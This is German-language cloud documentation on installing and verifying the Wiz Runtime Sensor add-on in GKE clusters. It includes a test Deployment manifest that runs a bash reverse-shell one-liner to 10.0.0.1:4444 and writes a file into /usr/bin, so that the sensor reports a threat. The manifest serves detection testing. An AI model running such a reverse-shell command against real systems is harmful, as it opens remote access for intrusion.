Wiz Runtime Sensor in GKE-Clustern installieren

Der Wiz Runtime Sensor ist eine Komponente der Wiz-Kernplattform, die Funktionen zur Bedrohungserkennung und ‑abwehr in Echtzeit für Laufzeitarbeitslasten bietet. Sie können den Runtime Sensor in Google Kubernetes Engine-Clustern (GKE) als verwaltetes Add-on installieren. In diesem Dokument wird Plattformadministratoren und Sicherheitsexperten gezeigt, wie sie das Runtime Sensor-Add-on installieren, den Zugriff auf die Wiz-Plattform konfigurieren und die Installation des Runtime Sensor in ihrer Organisation, ihrem Ordner oder ihrem Projekt erzwingen.

Sie sollten bereits mit dem Wiz Runtime Sensor vertraut sein.

Wann sollte das Runtime Sensor-Add-on verwendet werden?

Die Methode zur Installation verwalteter Add-ons ist eine integrierte Alternative zur Installation des Runtime Sensor mit Installationsmethoden wie einem Helm-Diagramm. Das Runtime Sensor-Add-on bietet folgende Vorteile:

  • GKE installiert die Komponenten und verwaltet die meisten Konfigurationsaufgaben. Dadurch wird der Aufwand und die Komplexität der Installation des Runtime Sensor im Vergleich zur Verwendung des Helm-Diagramms reduziert.
  • Mit dem Organisationsrichtliniendienst können Sie die Aktivierung des Add-ons in Ihrer Organisation, Ihren Ordnern oder Projekten erzwingen.
  • Das Add-on wird in Autopilot-Clustern und neben Autopilot-Arbeitslasten in Standardclustern ausgeführt, ohne dass Sie den Runtime Sensor einer Zulassungsliste hinzufügen müssen.
  • Alle Aktualisierungen der Runtime Sensor-Komponenten sind unabhängig von GKE-Patchversion-Upgrades.

Sie können den Runtime Sensor auch mit dem Helm-Diagramm in Ihren Clustern installieren. Wenn Sie diese Methode verwenden, haben Sie mehr Flexibilität bei der Anpassung der Sensorkonfiguration. Diese Methode erfordert jedoch mehr manuelle Konfiguration bei der Installation und ist im Vergleich zur Verwendung des Add-ons schwieriger im großen Maßstab zu erzwingen. Wenn Sie den Runtime Sensor mit dem Helm-Diagramm installieren, werden die Komponenten nicht von GKE verwaltet. Wenn Sie das GKE-Add-on nicht verwenden, melden Sie alle Probleme mit dem Runtime Sensor, z. B. Fehler oder Inkompatibilitäten, direkt an Wiz.

Funktionsweise

Sie installieren das Add-on in bestimmten Clustern mit der GKE API. Wenn Sie das Add-on aktivieren, erstellt GKE den Namespace gke-managed-wiz und installiert die Runtime Sensor-Komponenten. GKE benötigt Zugriff auf die private Container-Registry von Wiz, um Images für den Runtime Sensor abzurufen.

Nach der Installation benötigt der Runtime Sensor Zugriff auf die Wiz API, um Informationen an die Wiz-Plattform zu senden. Um GKE und dem Runtime Sensor den erforderlichen Zugriff zu gewähren, geben Sie die folgenden Informationen als Secrets im Namespace gke-managed-wiz an:

  • Anmeldedaten für den Zugriff auf die Wiz-Container-Registry und zum Abrufen des Runtime Sensor-Images.
  • Konfigurationsinformationen für den Runtime Sensor, z. B. Anmeldedaten für die Wiz API und umgebungsspezifische Variablen.

Sie können diese Secrets manuell erstellen oder die Informationen in Google Cloud Secret Manager hochladen. Dort werden die Secrets automatisch erstellt, Versionen in regelmäßigen Abständen rotiert und Updates für bereitgestellte Secrets eingeführt.

Preise

Das Wiz Runtime Sensor-Add-on ist in GKE ohne zusätzliche Kosten verfügbar. Dabei gilt Folgendes:

  • Sie benötigen eine aktive Wiz Runtime Sensor-Lizenz. Weitere Informationen finden Sie unter Wiz-Preise.
  • Die Runtime Sensor-Komponenten werden auf Ihren Knoten ausgeführt und verbrauchen CPU- und Arbeitsspeicherressourcen. Dadurch sind möglicherweise mehr Knoten erforderlich, um alle Pods in Ihrem Cluster unterzubringen.
  • Wenn Sie Secret Manager zum Speichern Ihrer Wiz-Anmeldedaten und ‑Konfigurationen verwenden, gelten die Preise für Secret Manager.

Beschränkungen

Für die Verwendung des Add-ons gelten die folgenden Einschränkungen:

  • Wenn Sie die Anmeldedaten für die Wiz-Registry oder die Wiz API in den bereitgestellten Secrets aktualisieren, müssen Sie das Runtime Sensor-DaemonSet mit dem Befehl kubectl rollout restart manuell neu starten.
  • Um den Runtime Sensor zu installieren, müssen Sie die Anmeldedaten der Wiz-Registry Ihres Mandanten als Kubernetes-Secret oder in Secret Manager hochladen.
  • Wenn Sie private Knoten verwenden, müssen Sie den ausgehenden Zugriff auf die Wiz-Container-Registry (registry.wiz.io) mit Cloud NAT konfigurieren.
  • Das verwaltete GKE-Add-on unterstützt nur die folgenden optionalen Konfigurationsparameter für den Runtime Sensor:
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

Wenn Sie einen der anderen Konfigurationsparameter verwenden möchten, installieren Sie den Runtime Sensor mit dem Helm-Diagramm.

Hinweis

Führen Sie die folgenden Aufgaben aus, bevor Sie beginnen:

  • Aktivieren Sie die Google Kubernetes Engine API.
  • Google Kubernetes Engine API aktivieren
  • Wenn Sie die Google Cloud CLI für diese Aufgabe verwenden möchten, installieren und dann initialisieren Sie die gcloud CLI. Wenn Sie die gcloud CLI bereits installiert haben, rufen Sie die neueste Version mit dem gcloud components update Befehl ab. Ältere gcloud CLI-Versionen unterstützen möglicherweise nicht die Ausführung der Befehle in diesem Dokument.

Erforderliche Rollen

Um das Runtime Sensor-Add-on für GKE zu aktivieren und zu konfigurieren, benötigen Sie die folgenden Rollen für das Projekt: Google Cloud

Sie benötigen außerdem Zugriff auf einen Wiz-Mandanten, um Anmeldedaten für die Wiz-Container-Registry abzurufen und ein OAuth-Token für die Wiz API zu generieren.

Wiz-Anmeldedaten und ‑Konfigurationsdateien vorbereiten

Um den Runtime Sensor zu installieren und Informationen an die Wiz-Plattform zu senden, müssen Sie Anmeldedaten für den Zugriff auf die private Registry von Wiz und die Wiz API angeben. Führen Sie dazu die folgenden Schritte aus:

  1. Suchen Sie die Anmeldedaten für die Wiz-Container-Registry für die registry.wiz.io Registry.
  2. Erstellen Sie einen base64-codierten String, der die Anmeldedaten der Registry in einer Struktur enthält, die von Kubernetes geparst werden kann:

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'
    

    Ersetzen Sie Folgendes:

    • WIZ_REGISTRY_USERNAME: der Nutzername für die Wiz-Container-Registry.
    • WIZ_REGISTRY_PASSWORD: das Passwort für die Wiz-Container-Registry.

    Die Ausgabe sieht etwa so aus:

    aGVsbG86d29ybGQ=
    
  3. Speichern Sie die Informationen als JSON-Datei:

    {
      "auths": {
        "registry.wiz.io": {
          "username": "WIZ_REGISTRY_USERNAME",
          "password": "WIZ_REGISTRY_PASSWORD",
          "auth": "BASE64_ENCODED_CREDENTIALS"
        }
      }
    }
    

    Ersetzen Sie BASE64_ENCODED_CREDENTIALS durch den codierten String aus dem vorherigen Schritt.

  4. Erstellen Sie ein Wiz-Dienstkonto und kopieren Sie die folgenden Informationen:

    • Die Client-ID, die Sie auch im Wiz-Portal auf der Seite Service Accounts (Dienstkonten) finden.
    • Das Clientschlüssel, das nur beim Erstellen des Dienstkontos sichtbar ist.
  5. Erstellen Sie eine YAML-Konfigurationsdatei für den Runtime Sensor:

    clientId: "WIZ_CLIENT_ID"
    clientToken: "WIZ_CLIENT_SECRET"
    clientEndpoint: "WIZ_CLIENT_ENDPOINT"
    

    Ersetzen Sie Folgendes:

    • WIZ_CLIENT_ID: die Client-ID für das Dienstkonto.
    • WIZ_CLIENT_TOKEN: das Clientschlüssel für das Dienstkonto.
    • WIZ_CLIENT_ENDPOINT: die zu verwendende Token-URL, die von Ihrem Wiz-Mandanten abhängt.
  6. Optional: Wenn Sie einen HTTP-Proxy verwenden, können Sie den Runtime Sensor so konfigurieren, dass er den Proxyserver verwendet. Erstellen Sie eine YAML-Konfigurationsdatei für den Proxy:

    httpsProxy: "PROXY_URL"
    caCertificate: "CA_CERTIFICATE"
    clientCertificate: "CLIENT_CERTIFICATE"
    

    Ersetzen Sie Folgendes:

    • PROXY_URL: die vollständig qualifizierte Proxy-URL, z. B. https://proxy.example.com:8080.
    • CA_CERTIFICATE: das CA-Zertifikat des Proxyservers im PEM-Format. Wenn Ihr Proxyserver kein TLS verwendet, dann geben Sie einen leeren Wert ("") an.
    • CLIENT_CERTIFICATE: das Clientzertifikat des Proxyservers im PEM-Format. Wenn Ihr Proxyserver kein TLS verwendet, geben Sie einen leeren Wert ("") an.

Secrets in Secret Manager erstellen

In diesem Abschnitt wird beschrieben, wie Sie die verschiedenen Wiz-Konfigurations- und Anmeldedatendateien in Secret Manager speichern. Sie können die URIs dieser Secrets angeben, wenn Sie das Runtime Sensor-Add-on in einem GKE-Cluster aktivieren. Secret Manager erstellt die Kubernetes-Secrets automatisch im Wiz-Namespace. Wenn Sie die Werte in Secret Manager aktualisieren, werden die Kubernetes-Secrets automatisch neu synchronisiert, um die neuen Werte zu verwenden. Optional können Sie diesen Abschnitt überspringen und die Secrets manuell im Namespace gke-managed-wiz erstellen.

So erstellen Sie die Secrets in Secret Manager:

  1. Anmeldedaten für die Wiz-Registry speichern:

    1. Erstellen Sie ein Secret zum Speichern der Anmeldedaten für die Wiz-Registry:

      gcloud secrets create wiz-image-pull-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      

      Ersetzen Sie SECRET_PROJECT_ID durch die Projekt ID des Google Cloud Projekts, in dem die Secrets erstellt werden sollen.

    2. Speichern Sie die Anmeldedaten für die Wiz-Registry im Secret wiz-image-pull-secret:

      gcloud secrets versions add wiz-image-pull-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CREDENTIALS_FILE
      

      Ersetzen Sie PATH_TO_CREDENTIALS_FILE durch den Pfad zur JSON-Datei, die die Anmeldedaten für die Wiz-Registry enthält.

  2. API-Anmeldedaten für den Runtime Sensor speichern:

    1. Erstellen Sie ein Secret zum Speichern der API-Anmeldedaten für den Runtime Sensor:

      gcloud secrets create wiz-api-key-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. Speichern Sie die API-Anmeldedaten für den Runtime Sensor im Secret wiz-api-key-secret:

      gcloud secrets versions add wiz-api-key-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CONFIG_FILE
      

      Ersetzen Sie PATH_TO_CONFIG_FILE durch den Pfad zur YAML-Datei, die die API-Anmeldedaten für den Runtime Sensor enthält.

  3. Optional: Konfigurationsinformationen für Ihren Proxy speichern:

    1. Erstellen Sie ein Secret zum Speichern der Proxyserverkonfiguration:

      gcloud secrets create wiz-sensor-proxy-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. Speichern Sie die Proxyserverkonfiguration im Secret wiz-sensor-proxy-secret:

      gcloud secrets versions add wiz-sensor-proxy-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_PROXY_FILE
      

      Ersetzen Sie PATH_TO_PROXY_FILE durch den Pfad zur YAML-Datei, die die Konfigurationsparameter für den Proxy enthält.

GKE Zugriff auf Secret Manager gewähren

Um die Informationen in Secret Manager als Kubernetes Secrets zu synchronisieren, gewähren Sie dem Kubernetes-Dienstkonto wiz-sensor-secretsync-sa im Namespace gke-managed-wiz die IAM-Rolle Secret Manager Secret Accessor (roles/secretmanager.secretAccessor) für die von Ihnen erstellten Secrets. Wenn Sie das Runtime Sensor-Add-on in einem Cluster aktivieren, erstellt GKE dieses Dienstkonto und verwendet die Dienstkontoidentität, um die entsprechenden Secrets im Namespace zu erstellen. Wenn Sie Secrets manuell erstellen möchten, anstatt Secret Manager zu verwenden, überspringen Sie diesen Abschnitt.

In den folgenden Schritten wird beschrieben, wie Sie die erforderliche Rolle gewähren:

  1. Suchen Sie die Projektnummer Ihres Clusterprojekts:

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'
    

    Die Ausgabe sieht etwa so aus: 1234567890.

  2. Gewähren Sie die Rolle für das Secret wiz-image-pull-secret:

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

    Ersetzen Sie Folgendes:

    • SECRET_PROJECT_ID: die Projekt-ID des Projekts, das Ihre Secrets enthält.
    • CLUSTER_PROJECT_NUMBER: die Projektnummer des Clusterprojekts.
    • CLUSTER_PROJECT_ID: die Projekt-ID des Clusterprojekts.
  3. Gewähren Sie die Rolle für das Secret wiz-api-key-secret:

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    
  4. Optional: Wenn Sie ein Secret mit HTTP-Proxyinformationen erstellt haben, gewähren Sie die Rolle für das Secret wiz-sensor-proxy-secret:

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

Runtime Sensor-Add-on für GKE aktivieren

Nachdem Sie die Secrets in Secret Manager erstellt und GKE die erforderliche Rolle für die Secrets gewährt haben, aktivieren Sie das Runtime Sensor-Add-on für Ihren Cluster. Sie können das Add-on für neue oder vorhandene Standard- oder Autopilot-Cluster aktivieren. In den folgenden Schritten wird beschrieben, wie Sie das Add-on aktivieren und die Secret-Synchronisierung in einem vorhandenen Cluster konfigurieren. Sie können diese Flags auch beim Erstellen des Clusters verwenden.

  1. Aktivieren Sie die Secret-Synchronisierung für einen vorhandenen Cluster. Wenn Sie Secrets manuell erstellen möchten, anstatt Secret Manager zu verwenden, überspringen Sie diesen Schritt.

    gcloud container clusters update CLUSTER_NAME \
        --project=CLUSTER_PROJECT_ID \
        --location=CONTROL_PLANE_LOCATION \
        --enable-secret-sync --enable-secret-sync-rotation
    

    Ersetzen Sie Folgendes:

    • CLUSTER_NAME: der Name Ihres Clusters.
    • CLUSTER_PROJECT_ID: die Projekt-ID Ihres Clusterprojekts.
    • CONTROL_PLANE_LOCATION: der Speicherort der Steuerungsebene Ihres Clusters.
  2. Aktivieren Sie das Add-on mit einem der folgenden Befehle. Wenn Sie Secrets manuell erstellen möchten, anstatt Secret Manager zu verwenden, geben Sie in diesen Befehlen nur das Flag --addons an.

    • Aktivieren Sie das Add-on, ohne einen HTTP-Proxy zu konfigurieren:

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest
      
    • Aktivieren Sie das Add-on und konfigurieren Sie einen HTTP-Proxy:

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
          --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest
      

Installation überprüfen

So überprüfen Sie die Add-on-Installation:

  1. Rufen Sie Anmeldedaten ab, um kubectl-Befehle im Cluster auszuführen:

    gcloud container clusters get-credentials CLUSTER_NAME \
        --location=CONTROL_PLANE_LOCATION \
        --project=CLUSTER_PROJECT_ID
    
  2. Prüfen Sie, ob der Namespace gke-managed-wiz vorhanden ist:

    kubectl get namespace gke-managed-wiz
    

    Die Ausgabe sieht etwa so aus:

    NAME              STATUS   AGE
    gke-managed-wiz   Active   76s
    
  3. Prüfen Sie, ob die benutzerdefinierten Secret Manager-Ressourcen im Namespace vorhanden sind:

    kubectl get secretproviderclass --namespace=gke-managed-wiz
    kubectl get secretsync --namespace=gke-managed-wiz
    

    Die Ausgabe sieht etwa so aus:

    NAME                          AGE
    wiz-sensor-secrets-provider   76s
    wiz-sensor-apikey             76s
    wiz-sensor-imagepullkey       75s
    wiz-sensor-proxy              76s
    
  4. Prüfen Sie, ob die Kubernetes-Secrets vorhanden sind:

    kubectl get secrets --namespace=gke-managed-wiz
    

    Die Ausgabe sieht etwa so aus:

    NAME                      TYPE                              DATA   AGE
    wiz-sensor-apikey         Opaque                            3      76s
    wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s
    
  5. Prüfen Sie den Status des Runtime Sensor-DaemonSets:

    kubectl get daemonset --namespace=gke-managed-wiz
    

    Die Ausgabe sieht etwa so aus:

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
    wiz-sensor  1         1         1       1            1           <none>          76s
    

    Diese Ausgabe zeigt, dass der Runtime Sensor bereit und verfügbar ist.

  6. Prüfen Sie die Start- und Verbindungsprotokolle der Runtime Sensor-Pods:

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100
    

    Die Ausgabe sieht etwa so aus:

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
    {"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
    {"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
    {"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
    {"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
    {"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}
    

Testarbeitslast bereitstellen

So prüfen Sie, ob die Verbindung zum Wiz-Portal funktioniert:

  1. Speichern Sie das folgende Deployment-Manifest als YAML-Datei:

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: demo-nginx
      namespace: default
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: demo-nginx
      template:
        metadata:
          labels:
            app: demo-nginx
        spec:
          containers:
          - name: nginx
            image: nginx:1.15.6
            command: ["/bin/bash", "-c"]
            args:
            - |
              # Trigger background reverse shell attempt
              (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
              # Trigger image drift file modification
              touch /usr/bin/malicious_test_file
              # Start Nginx
              exec nginx -g "daemon off;"
            ports:
            - containerPort: 80
    

    Dieses Deployment erstellt einen Pod, der einen Reverse-Shell-Angriff simuliert.

  2. Erstellen Sie das Deployment:

    kubectl apply -f PATH_TO_MANIFEST
    

    Ersetzen Sie PATH_TO_MANIFEST durch den Pfad zur Deployment-Manifestdatei.

  3. Rufen Sie im Wiz-Portal die Seite Threats (Bedrohungen) auf.

  4. Suchen Sie in der Tabelle der Bedrohungen nach einem Ergebnis für den Reverse-Shell-Angriff.

Add-on-Installation mit einer Organisationsrichtlinie erzwingen

Mit Organisationsrichtlinien können Sie die Installation des Runtime Sensor-Add-ons in mehreren Clustern in einer Organisation, einem Ordner oder einem Projekt erzwingen. Erstellen Sie eine benutzerdefinierte Einschränkung mit den folgenden Eigenschaften:

  • Ressource: container.googleapis.com/Cluster
  • Condition (Bedingung): resource.addonsConfig.wizSensor.enabled == false
  • Action (Aktion): DENY

Weitere Informationen zum Konfigurieren einer benutzerdefinierten Einschränkung mit diesen Eigenschaften finden Sie unter Aktionen für GKE-Ressourcen mithilfe benutzerdefinierter Organisationsrichtlinien einschränken.

Nächste Schritte